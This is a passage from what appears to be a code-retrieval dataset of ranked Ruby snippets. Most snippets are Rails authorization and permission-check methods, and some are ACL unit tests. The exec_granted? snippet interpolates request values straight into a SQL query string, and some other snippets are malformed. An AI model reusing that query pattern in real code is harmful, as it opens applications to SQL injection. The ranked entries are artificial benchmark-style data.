}, { "docid": "372fe57b9135f703c34d541b8c2caa72", "score": "0.6884689", "text": "def check_ownership \t\n \taccess_denied(:redirect => @check_ownership_of) unless current_user_owns?(@check_ownership_of)\n end", "title": "" }, { "docid": "57fbf1cbd0a0f01004303c98519d9a59", "score": "0.6777734", "text": "def check_permissions\n unless current_user.is_organizer?\n redirect_to index_path, alert: 'You do not have the permissions to visit this section of hardware.'\n end\n end", "title": "" }, { "docid": "19f6004bfcf06dff33f97e14150e12ed", "score": "0.67775893", "text": "def verify_access\n unless current_user.id == @worker.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "title": "" }, { "docid": "c1cd2390e33658c59b2587bf7cc39218", "score": "0.6773426", "text": "def test_set3_16_check()\n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n acc_type = 'deny' \n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n end", "title": "" }, { "docid": "f59222746963b968fed0b5d70a96ba9d", "score": "0.673501", "text": "def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end", "title": "" }, { "docid": "9ac6e91609b221e0f307add7f4025926", "score": "0.66962844", "text": "def check_permissions\n require_privilege(Privilege::USE, @environment)\n end", "title": "" }, { "docid": "3325a99cc96054c5a53546206a071317", "score": "0.66618174", "text": "def authorize_access\n # byebug\n redirect_to root_path, alert: \"Access Denied\" unless can? :modify, Post\n end", "title": "" }, { "docid": "63fd61c5b0efa67e4c5005afd9bf5a2b", "score": "0.663866", "text": "def test_set3_13_check() \n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'ALL_PRIVILEGES'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n prin_name = 'Klubicko'\n acc_type = 'deny'\n priv_name = 'ALTER'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n priv_name = 'ALTER'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n priv_name = 'DROP'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n end", "title": "" }, { "docid": "bec033e8830be765fd117105c3380520", "score": "0.66377914", "text": "def check_authorization!\n #check_current_user!\n #authorized = current_user.present? && valid_organisation_date?\n\n # TODO check due_date\n if !current_user\n flash[:alert] = \"Por favor ingrese.\"\n redirect_to new_session_url(subdomain: 'app') and return\n elsif !current_user.present?# || current_organisation.dued_with_extension? || !authorized_user?\n redir = request.referer.present? ? :back : home_path\n\n if request.xhr?\n render text: '<div class=\"alert alert-warning flash\"><h4 class=\"n\">Usted no tiene los privilegios para ver esta página</h4><div>'\n else\n flash[:alert] = \"Usted ha sido redireccionado por que no tiene suficientes privilegios.\"\n redirect_to redir and return\n end\n end\n end", "title": "" }, { "docid": "51dbee0e0d1d4f246be29cb6a4513e81", "score": "0.66223985", "text": "def check_permissions\n unless can?(:manage_app_instances, app_instance.owner)\n redirect_to mnoe_home_path, alert: \"You are not authorized to perform this action\"\n return false\n end\n true\n end", "title": "" }, { "docid": "b6a07362ce988c58329c6f4035582da9", "score": "0.6614741", "text": "def authorization_checking\n authorize!(:authorization_checking,current_user) unless current_user.role?(:livia_admin) || current_user.role?(:lawfirm_admin)\n end", "title": "" }, { "docid": "bae2e55b83db83a439b69efda37b0ad6", "score": "0.6611304", "text": "def test_set3_14_check() \n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n acc_type = 'deny'\n res_ob_adrs='/db/temp/test'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs) \n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n \n res_ob_adrs='/db/temp'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n end", "title": "" }, { "docid": "354e1ffae2b6b63f0a3af36735e88150", "score": "0.6587395", "text": "def access_robot\n raise 'unauthorised' if current_user != @robot.user \n end", "title": "" }, { "docid": "33bc7deedfb29be8ae43b66df1e50d07", "score": "0.6566414", "text": "def exec_granted?(controler, xllave)\n\t\tauth = Execremotekey.where(\"controler= '#{controler}' AND llave = '#{xllave}' \").first\n\t\tif auth == nil\n\t\t\tredirect_to noautorizado_url, notice: \"No esta autorizado a entrar a esta opcion\"\n\t\t\tfalse\n\t\telse\n\t\t\tauth.delete #para que no se reutilice la misma validacion\n\t\t\ttrue\n\t\tend\n\tend", "title": "" }, { "docid": "517ea033009d387f5d2c5255ead7d0a2", "score": "0.6524313", "text": "def access_control\n \n end", "title": "" }, { "docid": "d44b67ff8a0a43ad8970861f41575f01", "score": "0.6522531", "text": "def ensure_is_authorized_to_view\n @is_member_of_company = (@relation == :company_admin_own_site || @relation == :company_employee || @relation == :rentog_admin_own_site)\n\n # ALLOWED\n return if @relation == :rentog_admin ||\n @relation == :rentog_admin_own_site ||\n @relation == :domain_supervisor ||\n @relation == :company_admin_own_site\n\n\n # NOT ALLOWED\n # with error message\n flash[:error] = t(\"listing_events.you_have_to_be_company_member\")\n redirect_to root\n return false\n end", "title": "" }, { "docid": "e989208b0eabe825128fd1a72a1cfd29", "score": "0.6516271", "text": "def check_permission\n redirect_to dashboard_path, notice: 'You are not authorised to perform this action.' unless current_user&.admin?\n end", "title": "" }, { "docid": "2c190c6bbe53ab828c6aa5fdb6193f0d", "score": "0.65157324", "text": "def create_access_check\n permission_check('create')\n end", "title": "" }, { "docid": "2c190c6bbe53ab828c6aa5fdb6193f0d", "score": "0.65157324", "text": "def create_access_check\n permission_check('create')\n end", "title": "" }, { "docid": "2c190c6bbe53ab828c6aa5fdb6193f0d", "score": "0.65157324", "text": "def create_access_check\n permission_check('create')\n end", "title": "" }, { "docid": "977a6dff7ae99985db958fb0a411cb89", "score": "0.6513278", "text": "def check_access\n @response = Response.new\n \n check_hash()\n \n if @response.error?\n access_denied\n return\n end\n end", "title": "" }, { "docid": "5ac7125520fb04d8967a038b669176fd", "score": "0.6506784", "text": "def checkauth?\n unless is_admin?\n flash[:privileges]=\"Not enough privileges\"\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "f574cfba394c2a52276db78ff66d7e9a", "score": "0.6496679", "text": "def check_permissions\n redirect_to index_path, alert: lack_permission_msg unless admin_or_organizer?\n end", "title": "" }, { "docid": "8c003a372f70e2d9473ea6f4fb511b7a", "score": "0.64941007", "text": "def check_user_access\n check_access_and_redirect(@request)\n end", "title": "" }, { "docid": "f8aeff5e6dd62d4d65e5512d6d9efbb1", "score": "0.6493796", "text": "def verify_access\n @photo = Photo.lock.find_by(id: params[:id])\n\n if @photo.nil? || (!@photo.visibility && @photo.owner != current_user)\n flash[:alert] = I18n.t(\"photos.access\")\n redirect_to gallery_path\n end\n end", "title": "" }, { "docid": "e2cb0c21e17c62f124e02f0793c29c06", "score": "0.6489843", "text": "def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@measurement.nil?\n patient = @measurement.patient\n result = patient.id == current_user.id or patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end", "title": "" }, { "docid": "81bab7545eac3b5342289e25513e8208", "score": "0.6480665", "text": "def check_access\n if current_user.nil? or !current_user.is_admin?\n flash[:error] = t('no_access')\n redirect_to :root\n return false\n end\n end", "title": "" }, { "docid": "11914a0425205b039b00303e481dbe0e", "score": "0.64685756", "text": "def check_access_control_all\n @user = User.find(params[:user_id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @user.id\n rescue\n response_access_denied\n end", "title": "" }, { "docid": "27ad552a0ea92071c32e6f45adc6afc1", "score": "0.64589894", "text": "def check_permission\n unless current_user.is_admin == 1\n redirect_to \"/\", warning: \"You don't have permission to access that page.\"\n end\n end", "title": "" }, { "docid": "ecac313c2371a370d26be74625b93bff", "score": "0.64411634", "text": "def verify\n response = script_mode do \n query(\"configshow | grep RBAC\")\n end \n response.data.match(/#{Replies::RBAC_DENIED}/) ? false : true\n end", "title": "" }, { "docid": "2ca88eab42f213299c6f0785d98335f9", "score": "0.6432472", "text": "def check_authorization\r\n params[:table] ||= params[:t] || CmsHelper.form_param(params)\r\n # Only show menu\r\n return login if params[:id].in?(%w(login logout test))\r\n\r\n table = params[:table].to_s.strip.downcase\r\n set_default_guest_user_role if session[:user_roles].nil?\r\n # request shouldn't pass\r\n if table != 'dc_memory' and \r\n (table.size < 3 or !dc_user_can(DcPermission::CAN_VIEW))\r\n return render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end\r\n dc_form_read\r\n\r\n # Permissions can be also defined on form\r\n #TODO So far only can_view is used. Think about if using other permissions has sense\r\n can_view = @form.dig('permissions','can_view')\r\n if can_view.nil? or dc_user_has_role(can_view)\r\n extend_with_control_module\r\n else\r\n render(action: 'error', locals: { error: t('drgcms.not_authorized')} )\r\n end \r\nend", "title": "" }, { "docid": "df49480aeed480edc2eba05f8d6ca45b", "score": "0.642384", "text": "def check_auth\n @slot.user == (current_user ) or raise AccessDenied\n end", "title": "" }, { "docid": "ce59b5a5c7b2c5b023d37f2461c7643d", "score": "0.6420078", "text": "def test_set3_15_check() \n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n \n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n \n res_ob_adrs='/db/temp/test' \n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n \n res_ob_adrs='/db/temp/test/hokus'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n end", "title": "" }, { "docid": "9307b2213a1d98f07da831bd5536f928", "score": "0.6404908", "text": "def verify_admin\n redirect_to root_url unless current_user.role_id == 1 || current_user.role_id == 2\n end", "title": "" }, { "docid": "5482fa926fc23c01c1320b6c731f39c9", "score": "0.64021045", "text": "def ensure_admin!\n authorize! :read, :admin_dashboard\n end", "title": "" }, { "docid": "5482fa926fc23c01c1320b6c731f39c9", "score": "0.64021045", "text": "def ensure_admin!\n authorize! :read, :admin_dashboard\n end", "title": "" }, { "docid": "da35c6db3f9eafbf44d4d95966913fc7", "score": "0.63870746", "text": "def check_authorization\n @can_edit = can_blank_timetable?('edit')\n @can_show = can_blank_timetable?('show')\n end", "title": "" }, { "docid": "d62c6c629289c104b577c387c5987af1", "score": "0.6386626", "text": "def check_auth\n authorize @equipment_listing\n end", "title": "" }, { "docid": "8489b3006943551c333fa8e752bffc72", "score": "0.63828564", "text": "def validate_access\n if @user_logged_in != @answer.user\n render status: :forbidden\n end\n end", "title": "" }, { "docid": "6ed1c29affa731e2a6c1c92afd2b0bde", "score": "0.6380792", "text": "def admin_access_required\n access_denied unless admin?\n end", "title": "" }, { "docid": "6ed1c29affa731e2a6c1c92afd2b0bde", "score": "0.6380792", "text": "def admin_access_required\n access_denied unless admin?\n end", "title": "" }, { "docid": "6ed1c29affa731e2a6c1c92afd2b0bde", "score": "0.6380792", "text": "def admin_access_required\n access_denied unless admin?\n end", "title": "" }, { "docid": "0587d05d4b976401c34ea129d8bb5ab4", "score": "0.63800013", "text": "def check_permission!( priv, user = User.current )\n\n (priv, associate) = disassemble_priv( priv )\n\n if associate.nil?\n log_text = \"permission check: #{priv} on MISSING associate\"\n logger.warn \"=== FAILED #{log_text}\"\n raise PermissionFailure.new( \"not authorized to #{priv}\",\n :privilege => priv,\n :target => self )\n end\n\n associate_name = associate.class.to_s + ' ' +\n ((associate.has_attribute?(:name)? associate.name : nil) || 'X')\n log_text = \"permission check: #{priv} #{associate_name}(#{associate.id})\"\n\n check_user_set!(user, priv, associate)\n\n log_hash = { \n :model_class => associate.class.name,\n :model_id => associate.id,\n :privilege => priv.to_s,\n :user_id => user.id,\n :user_name => user.name\n }\n\n if !user.can?( priv, associate )\n logger.warn \"=== FAILED #{log_text}\"\n log_hash[:success] = false\n Smartguard::Logging.log( log_hash )\n raise PermissionFailure.new( \"not authorized to #{priv}\",\n :privilege => priv,\n :target => self )\n else\n log_hash[:success] = true\n Smartguard::Logging.log( log_hash )\n logger.debug \"=== #{log_text}\"\n end\n self\n end", "title": "" }, { "docid": "961fedc4e0ee86506bcaa4aa2c34018b", "score": "0.6374866", "text": "def access\n if @ajar == true || if @unlocked == false\n raise ArgumentError.new(\"Further permissions required\")\n elsif @ajar == false && if @unlocked == true\n puts \"your wish is granted\"\n return @ajar = true\n end\n end\n end\n end", "title": "" }, { "docid": "8f12165d9cada32f06ccb03a1a4fe2ff", "score": "0.6361631", "text": "def check_permissions\n require_privilege(Privilege::USE, @environment)\n @environment.provider_accounts.reject! { |a| !check_privilege(Privilege::USE, a) }\n end", "title": "" }, { "docid": "6360466e45abe92713bb62257c49c83c", "score": "0.6357505", "text": "def check_authorizations!\n raise FphsNotAuthorized unless can_create_in_list?\n\n unless list_class.no_master_association || from_master.allows_user_access\n raise FphsNotAuthorized, 'Master does not allow user access'\n end\n\n raise FphsNotAuthorized, \"No access to #{source_type}\" unless can_access_source_type?\n\n raise FphsNotAuthorized, \"No access to #{assoc_name}\" unless can_access_associated_table?\n end", "title": "" }, { "docid": "d9bcf33a40728d3cb866a7510e81d005", "score": "0.63472486", "text": "def authorize_access\n redirect_to admin_sites_url unless @site || current_user.admin?\n end", "title": "" }, { "docid": "40f3115c580015382cd1e276c36cc5de", "score": "0.634271", "text": "def enforce_permissions\n bounce unless is_admin?\n end", "title": "" }, { "docid": "ba0fc048394ffc015ce42bb623461b0f", "score": "0.6339479", "text": "def check_permissions\n unless current_user.is_admin?\n redirect_to index_path, alert: 'You do not have the permissions to visit the admin page'\n end\n end", "title": "" }, { "docid": "121bf230c5f1f727440efa3047d1b564", "score": "0.6337987", "text": "def facility_admin\n facility_controller_check\n unless current_user.role == \"site_admin\" || (@facility_role_access.present? && current_user.role == \"facility_admin\")\n flash[:error] = 'You are not authorized. Please request access from your manager'\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "781269ed46cc0f31bbae327e83cc2c3f", "score": "0.6336406", "text": "def authorise\n tmp_permission = @object_to_route_to.permission?\n if tmp_permission == \"yes\"\n permision_name = @pdt_method.method_name\n return @env.authorise(extract_actual_program_name(@pdt_method.program_name),permision_name,@user)\n elsif tmp_permission == nil\n return true\n else\n permision_name = tmp_permission\n return @env.authorise(extract_actual_program_name(@pdt_method.program_name),permision_name,@user)\n end\n\n end", "title": "" }, { "docid": "a3fa9d4fba9983ffc3fb8de4d6ec3f5a", "score": "0.6326748", "text": "def has_access?\n true\n end", "title": "" }, { "docid": "a3fa9d4fba9983ffc3fb8de4d6ec3f5a", "score": "0.6326748", "text": "def has_access?\n true\n end", "title": "" }, { "docid": "ce4b651d1533d3275c400ab8d9f43747", "score": "0.6326063", "text": "def allow_access\n !current_cas_user.nil?\n end", "title": "" }, { "docid": "955d5ab4ddecbcab57a812eee083706c", "score": "0.6316711", "text": "def check_index_permission\n raise ExceptionTypes::UnauthorizedError.new(\"You do not have permission to view all programs\") unless current_user.super_admin?\n end", "title": "" }, { "docid": "3f7ef79a3ed08ee2e81a30a04d41904c", "score": "0.6316642", "text": "def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@training.nil?\n patient = @training.patient\n result = patient.id == current_user.id or patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end", "title": "" }, { "docid": "f1f7f55a6cbc8aa0566ff3b01759fb2f", "score": "0.6308435", "text": "def check_write_access(ven)\r\n #KS- if it's a public venue raise an exception\r\n raise \"Current user doesn't have rights to edit public place #{ven.id}\" if ven.public_venue\r\n\r\n #KS- if it's owned by someone else, raise an exception\r\n raise \"Current user doesn't have rights to edit place #{ven.id}\" if ven.user_id != current_user.id\r\n end", "title": "" }, { "docid": "6e1965a320677229e713935c77634b7a", "score": "0.63052946", "text": "def authorization_required\n return true if admin?\n\n if !@group.can_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end", "title": "" }, { "docid": "37546b0264131c15e8ab133062612e31", "score": "0.6294216", "text": "def check_authorization\n unless @user and @user.role.name == 'admin'\n flash[:notice] = \"Not authorized!\"\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "1f301f6afe81600fb7bca80e3cedec51", "score": "0.6290024", "text": "def standard_authorized_user_rights\n Lockdown::System.public_access + Lockdown::System.protected_access \n end", "title": "" }, { "docid": "403ec0bc287bb9c34bb73f8c8ab43961", "score": "0.62896115", "text": "def verify_tenant_access\n begin\n\n yield\n\n MultiTenant.pending_verification.each do |pending|\n rec, model = pending\n curr_id = MultiTenant.current_tenant.id\n\n multi_tenant_incr(rec)\n\n rec_tenant = rec.send(model)\n if rec_tenant.nil? then\n # if no tenant, then must be globally accessible\n multi_tenant_decr()\n return\n end\n\n other_id = rec_tenant.id\n if curr_id != other_id then\n # PANIC\n multi_tenant_reset()\n raise AccessException, \"illegal access: tried to access tenant.id=#{other_id}; current_tenant.id=#{curr_id}\"\n end\n\n multi_tenant_decr()\n end\n\n ensure\n MultiTenant.pending_verification.clear\n MultiTenant.current_tenant = nil\n end\n end", "title": "" }, { "docid": "8221f23411a45d67567fba85be71aa87", "score": "0.6288994", "text": "def admin_permission\n if session[:position].to_s == \"Secretary\" or\n session[:position].to_s == \"Treasurer\" or\n session[:position].to_s == \"Chairman\"\n flash[:notice] = \"RESTRICTED: you do not have access\"\n redirect_to controller: :access, action: :admin_menu, :id => session[:user_id],\n position: session[:position]\n return false\n end\n\n end", "title": "" }, { "docid": "8bfe5bfc7613beed0555767386f6912f", "score": "0.62822354", "text": "def check_auth\n if current_user.company_id != @company.id && !current_user.manager? && !current_user.admin?\n redirect_to projects_path, :alert => \"Access denied.\" and return\n end\n end", "title": "" }, { "docid": "af3603819feae171757413a8d6c628e1", "score": "0.627903", "text": "def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end", "title": "" }, { "docid": "cea41204a3db38f6f83dfa98e710ed0f", "score": "0.627894", "text": "def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "a38ed1e0bc52ca4954fbe9d49cdb0582", "score": "0.6268911", "text": "def check_authorization \n user = current_user\n unless session[\"permission_\" + action_name + \"_\" + controller_name] && user\n unless logged_in? and user.roles.detect { |role|\n role.permissions.detect { |permission|\n permission.action.to_s.include? action_name and permission.controller == self.class.controller_path\n }\n } \n flash[:warning] = \"You are not authorized to view the requested page.\"\n request.env[\"HTTP_REFERER\"] ? (redirect_to :back) : (redirect_to :action => \"index\", :controller => \"site\")\n\n return false\n end\n session[\"permission_\" + action_name + \"_\" + controller_name] = true\n end\n end", "title": "" }, { "docid": "89ad7777d4ac16bc2c5ee2ec3f953e55", "score": "0.6266075", "text": "def define_eccept\n if current_user.info.id==@resource.id || can_manage_has_one(current_user.info, @resource, @model)\n return true\n else\n redirect_to root_path \n end\n end", "title": "" }, { "docid": "281c0ec2281a5768ac4dfa31bbe050d1", "score": "0.62558275", "text": "def check_manager_or_admin\n unless current_user && (current_user.privilege_manager? || current_user.privilege_admin?)\n flash[:danger] = \"You do not have permission to perform this operation\"\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "c972ede8b7419049111cd8d3c2ef6af7", "score": "0.623747", "text": "def authorize_admin\n redirect_to :login unless current_user.permission.manage_app ||\n current_user.permission.manage_attrs ||\n current_user.permission.manage_achievement_categories ||\n current_user.permission.manage_talent_trees ||\n current_user.permission.manage_talents ||\n current_user.permission.manage_quests ||\n current_user.permission.manage_skills ||\n current_user.permission.manage_achievements ||\n current_user.permission.manage_items ||\n current_user.permission.manage_titles\n end", "title": "" }, { "docid": "892149b6739bfb4702b332479864a6ba", "score": "0.62271196", "text": "def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend", "title": "" }, { "docid": "a8e7e93839068bff6657623b715606a5", "score": "0.6223887", "text": "def checkAcl(path,principal,readGranted,writeGranted)\n acl = @authz.getacl(path)\n\t# check user1\n\tassert_not_nil(acl[principal],\"Expected for find ACE for #{principal}\"+@authz.hashToString(acl))\n\tace = acl[principal]\n\tif ( readGranted || writeGranted ) then\n\t assert_not_nil(ace[\"granted\"],\"Expected ace for #{principal} to have granted something granted ace was nil \"+@authz.hashToString(acl))\n\t puts(\"ACE for user #{principal} was \"+@authz.hashToString(ace)+\":\"+ace[\"granted\"].to_s)\n\tend\n\tif ( !readGranted || !writeGranted ) then\n assert_not_nil(ace[\"denied\"],\"Expected ace for #{principal} to have denied something, denied was nil \"+@authz.hashToString(acl))\n puts(\"ACE for user #{principal} was \"+@authz.hashToString(ace)+\":\"+ace[\"denied\"].to_s)\n end\n\n if ( readGranted ) then\n assert_equal(true,ace[\"granted\"].include?(\"jcr:read\"),\"Expected ace for #{principal} to have jcr:read granted ace was \"+@authz.hashToString(ace))\n if ( ace[\"denied\"] != nil ) then\n assert_equal(false,ace[\"denied\"].include?(\"jcr:read\"),\"Expected ace for #{principal} not to have jcr:read denied ace was \"+@authz.hashToString(ace))\n\t end\n else\n assert_equal(true,ace[\"denied\"].include?(\"jcr:read\"),\"Expected ace for #{principal} to have jcr:read denied ace was \"+@authz.hashToString(ace))\n if ( ace[\"granted\"] != nil ) then\n assert_equal(false,ace[\"granted\"].include?(\"jcr:read\"),\"Expected ace for #{principal} not to have jcr:read granted ace was \"+@authz.hashToString(ace))\n\t end\n end\n if ( writeGranted ) then\n assert_equal(true,ace[\"granted\"].include?(\"jcr:write\"),\"Expected ace for #{principal} to have jcr:write granted ace was \"+@authz.hashToString(ace))\n if ( ace[\"denied\"] != nil ) then\n assert_equal(false,ace[\"denied\"].include?(\"jcr:write\"),\"Expected ace for #{principal} not to have jcr:write denied ace was \"+@authz.hashToString(ace))\n\t end\n else\n assert_equal(true,ace[\"denied\"].include?(\"jcr:write\"),\"Expected ace for #{principal} to have jcr:write denied ace was \"+@authz.hashToString(ace))\n if ( ace[\"granted\"] != nil ) then\n assert_equal(false,ace[\"granted\"].include?(\"jcr:write\"),\"Expected ace for #{principal} not to have jcr:write granted ace was \"+@authz.hashToString(ace))\n\t end\n end\n end", "title": "" }, { "docid": "cbbbaf55c0d577d42d53e39ce9fa49e0", "score": "0.62084746", "text": "def authorization; end", "title": "" }, { "docid": "e8296286090d9d953794dc962e04aef9", "score": "0.62049377", "text": "def verify_super_admin\r\n redirect_to admin_path unless current_user.user_level == \"super_admin_access\"\r\n end", "title": "" }, { "docid": "266a232a07c508f2b2780b642645fae9", "score": "0.6199374", "text": "def verify_admin_or_god\n return if current_user.admin? || current_user.god?\n\n render(json: format_error(request.path, \"No tenes permiso\"), status: 401)\n end", "title": "" }, { "docid": "d3cdabf7a4b58677a0e1d55f0d663fb3", "score": "0.6194741", "text": "def permission_required \n render_403 unless admin? || @user == current_user\n end", "title": "" }, { "docid": "783638a10d860ec871eab14ae113bda4", "score": "0.6193867", "text": "def verify_ownership\n\t\tif @current_user.id != Cart.find(params[:id]).user.id\n\t\t\tflash.now[:error] = \"Oops! You do not have permission to view this page.\"\n\t\t\trender :file => File.join(Rails.root, 'public', '403.html'), \n \t :status => 403\n\t\tend\n\tend", "title": "" }, { "docid": "dd18e3df857995c071157f9ccef238be", "score": "0.6193677", "text": "def has_access\n if !@contest.is_organized_by_or_admin(current_user.sk) && @contestproblem.at_most(:not_started_yet)\n render 'errors/access_refused' and return\n end\n end", "title": "" }, { "docid": "8d42d8622b5b99cc53f4ea9c0328718a", "score": "0.6187687", "text": "def accountant_allow_edit(permission)\n return accountant_right(permission) == 2\n end", "title": "" }, { "docid": "bc047fc0924d61810ee8d0317c399d27", "score": "0.6186846", "text": "def verify_self_or_admin\n if !current_cas_user.admin? && (current_cas_user.id != @cas_user.id)\n render(file: File.join(Rails.root, 'public/403.html'), status: :forbidden, layout: false)\n end\n end", "title": "" }, { "docid": "5c4fcededa446cb5b1a31b8bdbb59c38", "score": "0.6185925", "text": "def access action\n\t\tif current_user\n \treturn true\n else\n \treturn false\n end\n\n\tend", "title": "" }, { "docid": "a05906d7444c6468671b5e364cb0fe72", "score": "0.6181731", "text": "def verify_super_admin\n redirect_to admin_path unless current_user.user_level == \"super_admin_access\"\n\n end", "title": "" }, { "docid": "8fe616a22d8a0e839e1cf5d85ceebee0", "score": "0.61811686", "text": "def centerleder_access\r\n if current_user.access? :team_new_edit_delete\r\n return true\r\n elsif current_user\r\n puts \"centerleder_access current_user: #{current_user.inspect}\"\r\n flash[:notice] = \"Du har ikke adgang til denne side\"\r\n redirect_to teams_path\r\n else\r\n puts \"centerleder_access NOT LOGGED IN\"\r\n flash[:notice] = \"Du har ikke adgang til denne side\"\r\n redirect_to login_path\r\n end\r\n end", "title": "" }, { "docid": "1ddde75fb5fc496f1b70492bd12832bb", "score": "0.61784583", "text": "def authorize_admin\n redirect_to root_path unless current.user.immortal?\n end", "title": "" }, { "docid": "6893eed41b12e0296839326627ea83be", "score": "0.61643004", "text": "def check_admin_only\n\t\t# Check permissions\n\t\tif (not @current_user.is_administrator?)\n\t\t\tredirect_to root_path, notice: \"Access Denied\"\n\t\t\treturn\n\t\tend\n\tend", "title": "" }, { "docid": "b65f7724d99324aa8adc849a93be5c39", "score": "0.6162927", "text": "def test_set3_17_check() \n prin_name = 'nikdo'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp/*'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n prin_name = 'Klubicko'\n acc_type = 'allow'\n priv_name = 'SELECT'\n res_ob_type = 'doc'\n res_ob_adrs='/db/temp/*'\n test_set2_05_create_ace(prin_name, acc_type, priv_name, res_ob_type, res_ob_adrs)\n \n res_ob_adrs='/db/temp'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(false, access)\n \n res_ob_adrs='/db/temp/test'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n \n res_ob_adrs='/db/temp/test/hokus'\n access = @test_acl.check(prin_name, priv_name, res_ob_type, res_ob_adrs)\n assert_equal(true, access)\n end", "title": "" }, { "docid": "4df344bf0d72e0a892206c9b0fa9beb1", "score": "0.6153216", "text": "def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end", "title": "" }, { "docid": "1ea3442547676d6c1455988fac41374f", "score": "0.61519223", "text": "def destroy_access_check\n permission_check('destroy')\n end", "title": "" }, { "docid": "1ea3442547676d6c1455988fac41374f", "score": "0.61519223", "text": "def destroy_access_check\n permission_check('destroy')\n end", "title": "" }, { "docid": "1ea3442547676d6c1455988fac41374f", "score": "0.61519223", "text": "def destroy_access_check\n permission_check('destroy')\n end", "title": "" }, { "docid": "775915f8cb0c2a458a61b34783a9b470", "score": "0.61506987", "text": "def login_required\n raise Forbidden unless @current_member #ログイン状態でないとForbiddenを発生させる\n end", "title": "" }, { "docid": "5e48577f8b76a65888d4a3119a42c4b1", "score": "0.6148591", "text": "def check_permission_again\n action = params[:action].to_sym\n action = :read if action == :index || action == :show\n user = current_admin_user\n\n # Build resource from controller and params[:id]\n # Because sometimes we limit via proc, eg open current_admin_user\n subject = supervisor_resource_name.to_sym\n begin\n if !active_admin_config.is_a?(ActiveAdmin::Page)\n klass = active_admin_config.resource_class\n subject = if klass && params[:id]\n klass.find_by_id(params[:id]) || klass\n else\n klass\n end\n end\n rescue Object => error\n $stderr.puts error.message\n $stderr.puts error.backtrace\n end\n\n if !user.can?(action, subject, params)\n Rails.logger.info \"Deny access for #{supervisor_resource_name}/#{action} to #{user.class}:#{user.id}\"\n # raise ActiveAdmin::AccessDenied(...) # This is supposed way, but I prefer to redirect back\n flash[:error] = \"You don't have access to that page\"\n redirect_back_or_to \"/admin\"\n return false\n end\n rescue Object => error\n $stderr.puts error.message\n $stderr.puts error.backtrace\n end", "title": "" }, { "docid": "bc438d2438a8d3311376f8da6716f9b3", "score": "0.61443204", "text": "def verify_access\n authenticate_or_request_with_http_basic(\"Documents Realm\") do |username, password|\n username == 'rdi' && password == 'btc'\n end\n end", "title": "" }, { "docid": "302418424c2032b1f6bec23a4c64b8f8", "score": "0.6134401", "text": "def authorize_access_to(obj)\n unless authorized?(obj)\n raise Repia::Errors::Unauthorized\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "40cf986ce04542a153b2af36ff8ad040", "score": "0.0", "text": "def set_available_email\n @available_email = AvailableEmail.find(params[:id])\n end", "title": "" } ]
